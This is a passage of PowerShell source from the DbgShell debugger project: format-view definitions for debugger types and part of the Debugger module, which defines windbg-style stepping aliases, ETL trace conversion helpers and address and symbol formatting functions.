New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.Interop.VS_FIXEDFILEINFO' { New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'dwSignature' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwStrucVersion' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileVersionMS' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileVersionLS' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwProductVersionMS' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwProductVersionLS' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileFlagsMask' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileFlags' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileOS' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileType' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileSubtype' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileDateMS' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'dwFileDateLS' -FormatString '0x{0:x}' } # end List view } # end type VS_FIXEDFILEINFO New-AltTypeFormatEntry -TypeName 'MS.Dbg.FixedFileInfo' { New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Signature' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'StructureVersion' New-AltPropertyListItem -PropertyName 'FileVersion' New-AltPropertyListItem -PropertyName 'ProductVersion' New-AltPropertyListItem -PropertyName 'Flags' New-AltPropertyListItem -PropertyName 'OS' New-AltPropertyListItem -PropertyName 'FileType' New-AltPropertyListItem -PropertyName 'FileSubtype' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'FileDate' } # end List view } # end type FixedFileInfo New-AltTypeFormatEntry -TypeName 'MS.Dbg.ModuleVersionInfo' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'Language' { if( $null -eq $_.Language ) { '0x0000 (Language Neutral)' } else { [string]::Format( "0x{0:x4} ({1})", $_.Language.LCID, $_.Language.DisplayName ) } } New-AltScriptListItem -Label 'CharSet' { if( $null -eq $_.CharSet ) { '0x0000' # TODO: Is this possible? If so, does filever say anything else besides 0000? } else { [string]::Format( "0x{0:x4} {1}", $_.CharSet.CodePage, $_.CharSet.EncodingName ) } } New-AltPropertyListItem -PropertyName 'CompanyName' New-AltPropertyListItem -PropertyName 'FileDescription' New-AltPropertyListItem -PropertyName 'InternalName' New-AltPropertyListItem -PropertyName 'OriginalFilename' New-AltPropertyListItem -PropertyName 'ProductName' New-AltPropertyListItem -PropertyName 'ProductVersion' New-AltPropertyListItem -PropertyName 'FileVersion' New-AltPropertyListItem -PropertyName 'LegalCopyright' New-AltPropertyListItem -PropertyName 'LegalTrademarks' New-AltPropertyListItem -PropertyName 'PrivateBuild' New-AltPropertyListItem -PropertyName 'SpecialBuild' New-AltScriptListItem -Label 'FFI.Signature' { $_.FixedFileInfo.Signature.ToString( 'x8' ) } New-AltScriptListItem -Label 'FFI.StructureVersion' { $_.FixedFileInfo.StructureVersion } New-AltScriptListItem -Label 'FFI.FileVersion' { $_.FixedFileInfo.FileVersion } New-AltScriptListItem -Label 'FFI.ProductVersion' { $_.FixedFileInfo.ProductVersion } New-AltScriptListItem -Label 'FFI.Flags' { $_.FixedFileInfo.Flags } New-AltScriptListItem -Label 'FFI.OS' { $_.FixedFileInfo.OS } New-AltScriptListItem -Label 'FFI.FileType' { $_.FixedFileInfo.FileType } New-AltScriptListItem -Label 'FFI.FileSubtype' { $_.FixedFileInfo.FileSubtype } New-AltScriptListItem -Label 'FFI.FileDate' { $_.FixedFileInfo.FileDate } } # end List view } # end type ModuleVersionInfo New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.Interop.DEBUG_STACK_FRAME_EX' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'InstructionOffset' { Format-DbgAddress $_.InstructionOffset } New-AltScriptListItem -Label 'ReturnOffset' { Format-DbgAddress $_.ReturnOffset } New-AltScriptListItem -Label 'FrameOffset' { Format-DbgAddress $_.FrameOffset } New-AltScriptListItem -Label 'StackOffset' { Format-DbgAddress $_.StackOffset } New-AltScriptListItem -Label 'FuncTableEntry' { Format-DbgAddress $_.FuncTableEntry } New-AltScriptListItem -Label 'Params' { New-ColorString -Content "" -Fore DarkGray } New-AltScriptListItem -Label 'Reserved' { New-ColorString -Content "" -Fore DarkGray } New-AltPropertyListItem -PropertyName 'Virtual' New-AltScriptListItem -Label 'FrameNumber' { Format-AltSingleLine -InputObject $_.FrameNumber } New-AltPropertyListItem -PropertyName 'InlineFrameContext' -FormatString '0x{0:x}' New-AltPropertyListItem -PropertyName 'Reserved1' } # end List view } # end type Microsoft.Diagnostics.Runtime.Interop.DEBUG_STACK_FRAME_EX New-AltTypeFormatEntry -TypeName 'MS.Dbg.PsIndexedDictionary' { # The default (generated) single-line view definition will end up enumerating the # dictionary, which results in a string like "{[blahblah blah blah blah], [blah # blah blah blah blah], ...}", which is not so great. So we'll supply a view which # will take advantage of the special ToString() method that we typically tack onto # it during symbol value conversion. New-AltSingleLineViewDefinition { $_.ToString() } # end single-line view } # end type PsIndexedDictionary New-AltTypeFormatEntry -TypeName 'MS.Dbg.SymbolHistoryRecord' { New-AltTableViewDefinition { New-AltColumns { New-AltScriptColumn -Label 'Type' -Width 9 -Alignment Center -Script { if( $_ -is [MS.Dbg.DtdRecord] ) { New-ColorString -Content 'DTD' -Foreground Cyan } elseif( $_ -is [MS.Dbg.SvcRecord] ) { New-ColorString -Content 'SVC' -Foreground Magenta } else { New-ColorString -Content '(final)' -Foreground Gray } } New-AltScriptColumn -Label 'SymbolName' -Width 26 -Alignment Left -Script { $_.OriginalSymbol.Name } New-AltScriptColumn -Label 'SymbolType' -Alignment Left -Script { $_.OriginalSymbol.Type } } # End Columns } # end Table view } # end Type Dictionary } # end TypeEntries ================================================ FILE: DbgShell/x64/Debugger/Debugger.psm1 ================================================ Set-StrictMode -Version Latest <# .Synopsis Turns on debug tracing of the Debugger provider and select PowerShell trace sources. .Description Creates a TextWriterTraceListener which traces to the file specified by the TraceFilePath parameter (default: $env:temp\DbgProviderTracing.txt). This listener is added to the Debugger provider's trace source listener collection, as well as the listener collection of any specified PowerShell trace sources (default: 'LocationGlobber', 'PathResolution', 'PSDriveInfo', 'CmdletProviderClasses'). #> function Enable-ProviderTracingStuff { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $TraceFilePath = "$env:temp\DbgProviderTracing.txt", [Parameter( Mandatory = $false, Position = 1 )] [string[]] $PsTraceSources = @( 'LocationGlobber', 'PathResolution', 'PSDriveInfo', 'CmdletProviderClasses' ) ) begin { } end { } process { $listener = New-Object "System.Diagnostics.TextWriterTraceListener" -ArgumentList @( $TraceFilePath, "DbgProviderTraceListener" ) $listener.TraceOutputOptions = 'DateTime,ProcessId,ThreadId' if( ($null -ne $PsTraceSources) -and ($PsTraceSources.Count -gt 0) ) { #Set-TraceSource -Name $PsTraceSources -Option All -ListenerOption Timestamp -PassThru | % { [void] $_.Listeners.Add( $listener ) } Set-TraceSource -Name $PsTraceSources -Option All -PassThru | % { [void] $_.Listeners.Add( $listener ) } } [MS.Dbg.DbgProvider]::AddListener( $listener ) } } # end Enable-ProviderTracingStuff <# .Synopsis Gets the path bugginess style used by path manipulation functions in the provider. .Description There are currently path manipulation bugs inherent in the PowerShell provider system--it is difficult if not impossible to write a provider without some set of path manipulation bugs. This command allows you to get a value indicating the set of path manipulation bugs exhibited by the provider. The provider can exhibit either Registry provider-style bugs or Certificate provider-style bugs. .Link Set-PathBugginessStyle #> function Get-PathBugginessStyle { [CmdletBinding()] param( ) begin { } end { } process { try { [MS.Dbg.DbgProvider]::GetPathBugginessStyle() } finally { } # needed in order to get the error-processing semantics we want. } } # end Get-PathBugginessStyle <# .Synopsis Sets the path bugginess style used by path manipulation functions in the provider. .Description There are currently path manipulation bugs inherent in the PowerShell provider system--it is difficult if not impossible to write a provider without some set of path manipulation bugs. This command allows you to select the set of path manipulation bugs exhibited by the provider. You can choose between Registry provider-style bugs or Certificate provider-style bugs. .Link Get-PathBugginessStyle #> function Set-PathBugginessStyle { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [MS.Dbg.PathBugginessStyle] $PathBugginessStyle ) begin { } end { } process { try { [MS.Dbg.DbgProvider]::SetPathBugginessStyle( $PathBugginessStyle ) } finally { } # needed in order to get the error-processing semantics we want. } } # end Set-PathBugginessStyle function Assert { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [bool] $Condition, [Parameter( Mandatory = $false, Position = 1 )] [ValidateNotNullOrEmpty()] [string] $Message ) begin { } end { } process { try { if( $Condition ) { return } $stack = [System.Management.Automation.CallStackFrame[]] (Get-CallersStack) [string] $msg = $null if( !$stack ) { throw "Assertion failed (no stack): $Message" } # We don't actually need to use $Message, because it will show up in $stack[ 0 ].Position below. $msg = "Assertion failed: $($stack[ 0 ].Location) : $($stack[ 0 ].Position.ToString())" $ex = New-Object 'System.Exception' -ArgumentList @( $msg ) $ex.Data[ $PSCallstackKey ] = $stack $assertErrorRecord = New-ErrorRecord $ex 'FailedAssert' throw $assertErrorRecord } finally { } } } # end Assert() <# .Synopsis Saves the current virtual namespace to a stack and creates a new one. .Description Saves the current virtual namespace, including drives, to a stack, and replaces the current virtual namespace with a new one. This can be used for testing--when testing is finished, you can call Pop-Namespace, which will discard any changes you have made, restoring the namespace that was saved by Push-Namespace. .Link Pop-Namespace #> function Push-Namespace { [CmdletBinding()] param( ) begin { } end { } process { try { [MS.Dbg.DbgProvider]::PushNamespace() # Current working directory may not exist. We'll move to the root to be consistent. [System.Diagnostics.Debug]::Assert( $? ) } finally { } # needed in order to get the error-processing semantics we want. } } # end Push-Namespace <# .Synopsis Restores the most recent virtual namespace from the stack, discarding the current namespace. .Description Restores the current virtual namespace, including drives, from a stack, and discards the current namespace. Useful for testing. See also: Push-Namespace. .Link Push-Namespace #> function Pop-Namespace { [CmdletBinding()] param( ) begin { } end { } process { try { [MS.Dbg.DbgProvider]::PopNamespace() } finally { } # needed in order to get the error-processing semantics we want. } } # end Pop-Namespace <# .SYNOPSIS If a symbol name contains special characters, it quotes and escapes it. Example: ole32!GenericStream::`vftable' --> 'ole32!GenericStream::`vftable''' #> function QuoteAndEscapeSymbolNameIfNeeded { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $SymName ) begin { } end { } process { try { if( [string]::IsNullOrEmpty( $SymName ) ) { return $SymName } if( $SymName.Contains( "``" ) -or $SymName.Contains( "'" ) -or $SymName.Contains( '$' ) ) { $SymName = [String]::Format( "'{0}'", $SymName.Replace( "'", "''" ) ) } return $SymName } finally { } } } # end QuoteAndEscapeSymbolNameIfNeeded <# .Synopsis Disconnects from a dump target. .Description Provided for parity with 'Mount-DbgDumpFile': you can also just use '.detach' or 'Disconnect-DbgProcess'. #> function Dismount-DbgDumpFile() { .detach } # end Dismount-DbgDumpFile <# .SYNOPSIS Converts a CSV trace file (as emitted by "tracerpt -of csv" or Convert-EtlToCsv) to plain text. #> function Convert-CsvTraceToText( [CmdletBinding()] [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string] $inputCsvFile ) { Begin { } End { } Process { $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop # Needed to support relative paths in PS. $inputCsvFile = $executionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath( $inputCsvFile ) [System.IO.StreamReader] $reader = $null [System.IO.StreamWriter] $writer = $null try { #[string] $outputTxtFile = $inputCsvFile + ".txt" [string] $outputTxtFile = $null if( $inputCsvFile.EndsWith( ".csv", [StringComparison]::OrdinalIgnoreCase ) ) { $outputTxtFile = $inputCsvFile.Substring( 0, $inputCsvFile.Length - 4 ) + ".txt" } else { $outputTxtFile = $inputCsvFile + ".txt" } if( [System.IO.File]::Exists( $outputTxtFile ) ) { Write-Warning ('File "{0}" already exists; skipping it.' -f $outputTxtFile) return } $reader = New-Object "System.IO.StreamReader" -ArgumentList @( $inputCsvFile ) [System.IO.FileStream] $outStream = New-Object "System.IO.FileStream" -ArgumentList @( $outputTxtFile, [System.IO.FileMode]::CreateNew ) $writer = New-Object "System.IO.StreamWriter" -ArgumentList @( $outStream ) # Skip the first two lines (CSV header stuff). $line = $reader.ReadLine() $line = $reader.ReadLine() if( $null -eq $line ) { Write-Error "There weren't even two lines?" -Category InvalidData -TargetObject $inputCsvFile return; } New-Variable -Name Quote -Value 34 -Option ReadOnly -Visibility Private function EatPastQuote() { [int] $intChar = 0 while( ($intChar -ne -1) -and ($intChar -ne $Quote) ) { $intChar = $reader.Read() } return $intChar -ne -1 } # end EatPastQuote() while( $true ) { if( !(EatPastQuote) ) { break } $line = $reader.ReadLine() if( $line -eq $null ) { break } $dropLastQuote = $line.Substring( 0, $line.Length - 1 ) $writer.WriteLine( $dropLastQuote ) } return $outputTxtFile } finally { if( $null -ne $reader ) { $reader.Dispose() } if( $null -ne $writer ) { $writer.Dispose() } } } # end Process block } # end Convert-CsvTraceToText() <# .SYNOPSIS Converts an ETL trace file to CSV using "tracerpt -of csv ...". #> function Convert-EtlToCsv( [CmdletBinding()] [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string] $inputEtlFile ) { Begin { } End { } Process { $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop # Needed to support relative paths in PS. $inputEtlFile = $executionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath( $inputEtlFile ) $csvFile = $inputEtlFile + '.csv' tracerpt -y -of csv -o $csvFile $inputEtlFile | Out-Null return $csvFile } } # end Convert-EtlToCsv <# .SYNOPSIS Converts an ETL trace file to a plain text file. #> function Convert-EtlToText( [CmdletBinding()] [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string] $inputEtlFile ) { Begin { } End { } Process { $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop # Needed to support relative paths in PS. $inputEtlFile = $executionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath( $inputEtlFile ) $csvFile = Convert-EtlToCsv $inputEtlFile $txtFile = Convert-CsvTraceToText $csvFile if( $? ) { # Don't need to keep the CSV lying around... Remove-Item $csvFile } return $txtFile } } # end Convert-EtlToText <# .SYNOPSIS Converts a fully-qualified path to a PS-relative path. .DESCRIPTION If the specified $path starts with $PWD, then the $PWD path is replaced with ".", yielding a path relative to the current PS working directory. #> function ConvertTo-RelativePath( [string] $path ) { if( $path.StartsWith( $PWD ) ) { return "." + $path.Substring( $PWD.ToString().Length ) } else { return $path } } <# .SYNOPSIS Pops open a text file with gvim if installed, else notepad. #> function Open-TextFile( [string] $file ) { $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop # Needed to support relative paths in PS. $file = $executionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath( $file ) $command = Get-Command -Name "gvim.exe*" # using a wildcard pattern so it returns nothing if none found (instead of an error) if( !$command ) { $command = Get-Command -Name "notepad.exe" } & $command $file } # end Open-TextFile() <# .SYNOPSIS Pads the specified string with leading zeros. (i.e. "ZeroPad '1' 3" yields "001") #> function ZeroPad( [string] $s, [int] $len ) { if( $s.Length -ge $len ) { return $s } $numZeroesNeeded = $len - $s.Length return ((New-Object 'System.String' -Arg @( ([char] '0'), $numZeroesNeeded )) + $s) } # end ZeroPad() <# .SYNOPSIS Saves a copy of the specified (or current) DbgShell debug trace file, converts it to text, and opens it. #> function Open-DbgShellLog { [CmdletBinding( DefaultParameterSetName = 'DefaultParameterSetName' )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ParameterSetName = 'DefaultParameterSetName' )] [string] $DbgShellLog, [Parameter( Mandatory = $false, Position = 1 )] [string] $DestFileName, [Parameter( Mandatory = $false, ParameterSetName = 'PenultimateParameterSetName' )] [switch] $Penultimate ) begin { } end { } process { [bool] $needToPopLocation = $false try { $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop if( "FileSystem" -ne (Get-Location).Provider.Name ) { $needToPopLocation = $true Push-Location C: } [bool] $isCurrentLog = $false if( $Penultimate ) { $DbgShellLog = Get-DbgShellLog | Select-Object -Skip 1 -First 1 } elseif( !$DbgShellLog ) { $isCurrentLog = $true $DbgShellLog = Get-DbgShellLog -Current } if( !$DestFileName ) { $DestFileName = [System.IO.Path]::GetFileNameWithoutExtension( $DbgShellLog ) } $destDir = [System.IO.Path]::GetDirectoryName( $DbgShellLog ) $destDir = [System.IO.Path]::Combine( $destDir, 'Converted' ) $destEtlFile = $DestFileName + '.etl' $destEtlFile = [System.IO.Path]::Combine( $destDir, $destEtlFile ) if( [System.IO.File]::Exists( $destEtlFile ) ) { [string] $candidate = '' for( [int] $i = 1 ; $i -lt 1000 ; $i++ ) { $candidate = $destEtlFile + "_" + (ZeroPad $i 3) if( ![System.IO.File]::Exists( $candidate ) ) { $destEtlFile = $candidate break } } if( [System.IO.File]::Exists( $destEtlFile ) ) { throw "The file '$destEtlFile' already exists, and we've hit the limit for tacking on a distinguisher. You've saved a copy of this log a lot, haven't you?" } } if( ![System.IO.Directory]::Exists( $destDir ) ) { $null = mkdir $destDir } if( $isCurrentLog ) { $asm = [System.Reflection.Assembly]::GetAssembly( [MS.Dbg.DbgProvider] ) $LogManagerType = $asm.GetType( "MS.Dbg.LogManager" ) [System.Reflection.BindingFlags] $bf = "Static,Public" $mi = $LogManagerType.GetMethod( "SaveLogFile", $bf ); if( $null -eq $mi ) { throw "Unexpected: no LogManager.SaveLogFile method." } [void] $mi.Invoke( $null, @( $destEtlFile, $false ) ) } else { copy $DbgShellLog $destEtlFile } $txtFile = Convert-EtlToText $destEtlFile Open-TextFile $txtFile } finally { if( $needToPopLocation ) { Pop-Location } } } } # end Open-DbgShellLog() <# .SYNOPSIS Converts all ETL trace files in a given directory to plain text. #> function Convert-AllEtlToText( [CmdletBinding()] [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $InputDir ) { Begin { } End { } Process { $ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop # Needed to support relative paths in PS. $InputDir = $executionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath( $InputDir ) [int] $RootProgressId = 1 Write-Progress -Id $RootProgressId -Activity "Converting trace files to plain text" -Status "Searching for files in $InputDir..." $files = Get-ChildItem -Path $InputDir -Filter *.etl -Recurse [int] $curFile = 0 foreach( $file in $files ) { Write-Progress -Id $RootProgressId -Activity "Converting trace files to plain text" -Status "Converting $($file.Name)..." -PercentComplete ([int](($curFile / $files.Count) * 100)) foreach( $csvFile in Convert-EtlToCsv $file.FullName ) { Convert-CsvTraceToText $csvFile if( $? ) # TODO: I set $ErrorActionPreference to 'Stop'... so if it failed, we should throw, so this check should be pointless. { # Don't need to keep the CSV lying around... Remove-Item $csvFile } } $curFile++ } Write-Progress -Id $RootProgressId -Activity "Converting trace files to plain text" -Status "Done." -Completed } # end Process } # end Convert-AllEtlToText <# .SYNOPSIS "Go": causes the current target to resume execution (wraps Resume-Process). #> function g { [CmdletBinding()] param() Begin { } End { } Process { try { Resume-Process } finally { } # needed in order to get the error-processing semantics we want. } # end Process } # end g() <# .SYNOPSIS "steP": causes the current target to single-step (wraps Resume-Process). #> function p { [CmdletBinding()] param() Begin { } End { } Process { try { Resume-Process -ResumeType StepOver } finally { } # needed in order to get the error-processing semantics we want. } # end Process } # end p() <# .SYNOPSIS "step inTo": causes the current target to single-step, into a call (wraps Resume-Process). #> function t { [CmdletBinding()] param() Begin { } End { } Process { try { Resume-Process -ResumeType StepInto } finally { } # needed in order to get the error-processing semantics we want. } # end Process } # end t() <# .SYNOPSIS "steP to Call": causes the current target to execute until the next call instruction (wraps Resume-Process). #> function pc { [CmdletBinding()] param() Begin { } End { } Process { try { Resume-Process -ResumeType StepToCall } finally { } # needed in order to get the error-processing semantics we want. } # end Process } # end pc() <# .SYNOPSIS "Go Up": causes the current target to resume execution until it returns from the current function. #> function gu { [CmdletBinding()] param() Begin { } End { } Process { try { Resume-Process -ResumeType StepOut } finally { } # needed in order to get the error-processing semantics we want. } # end Process } # end gu() <# Aliases that override built-in aliases ("both scopes") Aliases that override built-in aliases must be set in both 'Global' AND 'Local' scopes. If not also set in local scope, then functions in this module that attempt to use the alias will see the built-in instead of our override. #> # "gu" is traditionally aliased to Get-Unique, which is handy, but I think the debugger # command is more important. Set-Alias -Name gu -Value 'Debugger\gu' -Option AllScope -Scope Local -Force # see comment about setting in "both scopes" Set-Alias -Name gu -Value 'Debugger\gu' -Option AllScope -Scope Global -Force # see comment about setting in "both scopes" <# .SYNOPSIS If no parameters specified: "Go Conditional": causes the current target to resume execution from a conditional breakpoint in the same fashion that was used to hit the breakpoint (stepping, tracing, or freely executing). Else: a proxy for Get-Content. (Run "Get-Content -?" for more information about Get-Content parameters.) #> function gc { [CmdletBinding( DefaultParameterSetName = 'GoConditional', SupportsTransactions = $true )] param( [Parameter( ValueFromPipelineByPropertyName = $true )] [long] ${ReadCount}, [Parameter( ValueFromPipelineByPropertyName = $true )] [Alias( 'First', 'Head' )] [long] ${TotalCount}, [Parameter( ValueFromPipelineByPropertyName = $true )] [Alias( 'Last' )] [int] ${Tail}, [Parameter( ParameterSetName = 'Path', Mandatory = $true, Position = 0, ValueFromPipelineByPropertyName = $true )] [string[]] ${Path}, [Parameter( ParameterSetName = 'LiteralPath', Mandatory = $true, ValueFromPipelineByPropertyName = $true)] [Alias( 'PSPath' )] [string[]] ${LiteralPath}, [string] ${Filter}, [string[]] ${Include}, [string[]] ${Exclude}, [switch] ${Force}, [Parameter( ValueFromPipelineByPropertyName = $true )] [pscredential] [System.Management.Automation.CredentialAttribute()] ${Credential} ) begin { try { $steppablePipeline = $null if( $PSCmdlet.ParameterSetName -eq 'GoConditional' ) { # Unfortunately this operation can't be performed by using a proper API--it # depends on knowing internal dbgeng state. So we'll just have to ask dbgeng # to do it for us. # TODO: I think running Invoke-DbgEng here (as opposed to letting # DbgEngDebugger call InvokeDbgEngCommand) has some behavior differences. # But... there's too much else currently in play (conditional bp / message # loop stuff) to worry about digging into it right now. #Invoke-DbgEng 'gc' Resume-Process -ResumeType GoConditional } else { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Microsoft.PowerShell.Management\Get-Content', [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters } $steppablePipeline = $scriptCmd.GetSteppablePipeline($myInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } } finally { } } process { try { if( $steppablePipeline ) { $steppablePipeline.Process($_) } } finally { } } end { try { if( $steppablePipeline ) { $steppablePipeline.End() } } finally { } } } # end gc() # "gc" is traditionally aliased to Get-Content, which is handy, but I think the debugger # command is more important. We've mitigated this by making "gc" invoke Get-Content if # called with parameters. Set-Alias -Name gc -Value 'Debugger\gc' -Option AllScope -Scope Local -Force # see comment about setting in "both scopes" Set-Alias -Name gc -Value 'Debugger\gc' -Option AllScope -Scope Global -Force # see comment about setting in "both scopes" Set-Alias kc Get-DbgStack <# .SYNOPSIS Displays the "stacK" (like windbg 'k' command). Note that this does not return the actual DbgStackInfo objects (it outputs formatted strings). Use "kc" to get actual stack objects (or Get-DbgStack). #> function k { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0 )] [int] $MaxFrameCount, [Parameter( Mandatory = $false, Position = 1, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.ThreadTransformation()] # so we can take thread IDs [MS.Dbg.DbgUModeThreadInfo[]] $Thread ) Begin { } End { } Process { try { Get-DbgStack -MaxFrameCount $MaxFrameCount -Thread $Thread | %{ $_.Frames | Format-AltTable } } finally { } # needed in order to get the error-processing semantics we want. } # end Process } # end k() <# .Synopsis "Thread command": used to handle various dbgeng-style thread commands ("~4 s", etc.). .Description A CommandNotFound handler is used to intercept things like "~* k" and send them to this function (with a little argument massaging). #> function ~x { [CmdletBinding()] # TODO: This attribute does not seem to get me tab completion # (as in "~ | %{ $_.Sta[TAB]"). Bug? [OutputType( [MS.Dbg.DbgUModeThreadInfo] )] param( [Parameter( Mandatory = $false, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $threadId, [Parameter( Mandatory = $false, Position = 1, ValueFromRemainingArguments = $true )] [string] $command ) process { [bool] $needToSetContextBack = $false $originalContext = $Debugger.GetCurrentDbgEngContext() try { [bool] $moreThanOne = $false . { if( !$threadId ) { # This is a little odd, but it seems to match windbg. if( $command ) { # Although actually, I don't think we can end up in this case if you # are using windbg-style syntax (which gets intercepted by the # CommandNotFound handler), because the CommandNotFound handler # doesn't handle it. (ex: "~ k" works in windbg, but I don't think # that will get us here in DbgShell) $threadId = '.' } else { $threadId = '*' } } if( '*' -eq $threadId ) { $moreThanOne = $true Get-DbgUModeThreadInfo } elseif( '#' -eq $threadId ) { Get-DbgUModeThreadInfo -LastEvent } elseif( '.' -eq $threadId ) { Get-DbgUModeThreadInfo -Current } else { [UInt32] $uid = 0 if( ![UInt32]::TryParse( $threadId, [ref] $uid ) ) { throw "Invalid thread id: $threadId" } Get-DbgUModeThreadInfo -DebuggerId $uid } } | %{ $thread = $_ if( !$command ) { # if( !$moreThanOne ) # { # $thread | Format-List # } # else # { $thread # } } else { $needToSetContextBack = $true if( $moreThanOne -and $command ) { $thread | Format-AltSingleLine } # TODO: handle f/u, s/r, maybe even e if( 's' -eq $command ) { if( $moreThanOne ) { Write-Warning "No... I'm not going to switch to each thread's context." break } $needToSetContextBack = $false Switch-DbgUModeThreadInfo -Thread $thread break } Switch-DbgUModeThreadInfo -Thread $thread -Quiet # # TODO: Invoke-Expression is generally the wrong thing to do... really # I ought to have the caller pass in a ScriptBlock. But this command # is designed to make things seem just like in windbg... # Invoke-Expression $command } } } finally { if( $needToSetContextBack ) { $Debugger.SetCurrentDbgEngContext( $originalContext ) } } } # end process } # end ~x() <# .Synopsis Formats and colorizes an address. NOTE: returns "(null)" for zero. #> function Format-DbgAddress { [CmdletBinding( DefaultParameterSetName = 'DebuggerParamSet' )] [OutputType( [MS.Dbg.ColorString] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [UInt64] $Address, [Parameter( Mandatory = $false, Position = 1, ParameterSetName = 'DebuggerParamSet' )] [MS.Dbg.DbgEngDebugger] $Debugger, [Parameter( Mandatory = $true, Position = 1, ParameterSetName = 'Is32BitParamSet' )] [bool] $Is32Bit, [Parameter( Mandatory = $false )] [System.ConsoleColor] $DefaultFgColor = [System.ConsoleColor]::Cyan ) if( $PSCmdlet.ParameterSetName -eq 'DebuggerParamSet' ) { if( $null -eq $Debugger ) { $parentVar = Get-Variable 'Debugger*' -Scope Global -ValueOnly # '*' to prevent an error if it doesn't exist $Debugger = $parentVar } if( $null -eq $Debugger ) { # Still don't have one? Hm... default to current process bitness, I suppose. # TODO: I could at least check if the high DWORD is zero or not... $Is32Bit = ![Environment]::Is64BitProcess } else { $Is32Bit = $Debugger.get_TargetIs32Bit() } } [MS.Dbg.DbgProvider]::FormatAddress( $Address, $Is32Bit, $true, # useTick $false, # numericNull $DefaultFgColor ) } # end Format-DbgAddress <# .Synopsis Formats a 64-bit unsigned integer. If the high DWORD is non-zero, it will show both complete DWORDs with a tick ('`') in between. #> function Format-DbgUInt64 { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [UInt64] $u ) [MS.Dbg.DbgProvider]::FormatUInt64( $u, $true ) } # end Format-DbgUInt64 <# .Synopsis Given a number of bytes, returns a string formatted for pleasant human consumption (like "1.1 MB"). #> function Format-DbgByteSize { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [UInt64] $NumberOfBytes ) [MS.Dbg.DbgProvider]::FormatByteSize( $NumberOfBytes ) } # end Format-DbgByteSize <# .Synopsis Colorizes a symbol string (which includes both a module and type name, e.g. "ntdll!_RTL_CRITICAL_SECTION"). #> function Format-DbgSymbol { [CmdletBinding()] [OutputType( [MS.Dbg.ColorString] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $SymbolName ) [MS.Dbg.DbgProvider]::ColorizeSymbol( $SymbolName ) } # end Format-DbgSymbol <# .Synopsis Colorizes a type name. #> function Format-DbgTypeName { [CmdletBinding()] [OutputType( [MS.Dbg.ColorString] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $TypeName ) try { [MS.Dbg.DbgProvider]::ColorizeTypeName( $TypeName ) } finally { } } # end Format-DbgTypeName <# .Synopsis Colorizes a module name. #> function Format-DbgModuleName { [CmdletBinding()] [OutputType( [MS.Dbg.ColorString] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $ModuleName ) [MS.Dbg.DbgProvider]::ColorizeModuleName( $ModuleName ) } # end Format-DbgModuleName <# .Synopsis Colorizes a register name. #> function Format-DbgRegisterName { [CmdletBinding()] [OutputType( [MS.Dbg.ColorString] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $RegisterName ) [MS.Dbg.DbgProvider]::ColorizeRegisterName( $RegisterName ) } # end Format-DbgRegisterName function .sympath { 